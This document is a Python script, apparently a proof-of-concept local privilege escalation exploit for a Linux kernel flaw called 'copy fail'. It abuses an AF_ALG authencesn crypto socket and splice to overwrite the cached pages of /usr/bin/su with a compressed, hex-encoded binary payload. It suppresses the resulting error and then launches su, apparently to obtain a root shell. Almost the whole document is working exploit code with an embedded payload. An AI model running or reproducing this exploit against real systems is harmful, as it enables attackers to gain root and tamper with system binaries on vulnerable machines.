Commentary of copy fail

copy_fail_commentary.py

#!/usr/bin/env python3

import os
import zlib
import socket

def d(x):
    return bytes.fromhex(x)

# invalid option level: 279
LEVEL = 279
DEBUG_VALUE = d('0800010000000010'+'0'*64)
NUL = d('00')
ANCDATA = [(LEVEL, 3, NUL*4), (LEVEL, 2, b'\x10'+NUL*19), (LEVEL, 4, b'\x08'+NUL*3)]

def c(f, t, c):
    a = socket.socket(socket.AF_ALG, socket.SOCK_SEQPACKET, 0)
    a.bind(("aead", "authencesn(hmac(sha256),cbc(aes))"))
    a.setsockopt(LEVEL, socket.SO_DEBUG, DEBUG_VALUE)
    a.setsockopt(LEVEL, socket.SO_DONTROUTE, None, 4)
    conn, _ = a.accept()
    conn.sendmsg([b"A"*4+c], ANCDATA, 32768)

    # f -> (pipe: pipe_w -> pipe_r) -> (socket: conn) -> recv
    pipe_r, pipe_w = os.pipe()
    os.splice(f, pipe_w, t + 4, offset_src = 0)
    os.splice(pipe_r, conn.fileno(), t + 4)
    try:
        conn.recv(8 + t)
    except:
        # Suppressing exception: "OSError: [Errno 74] Bad message"
        0

f = os.open("/usr/bin/su", 0)
e = zlib.decompress(d("78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675c44c7e56c3ff593611fcacfa499979fac5190c0c0c0032c310d3"))

for i in range(0, len(e), 4):
    c(f, i, e[i:i+4])

os.system("su")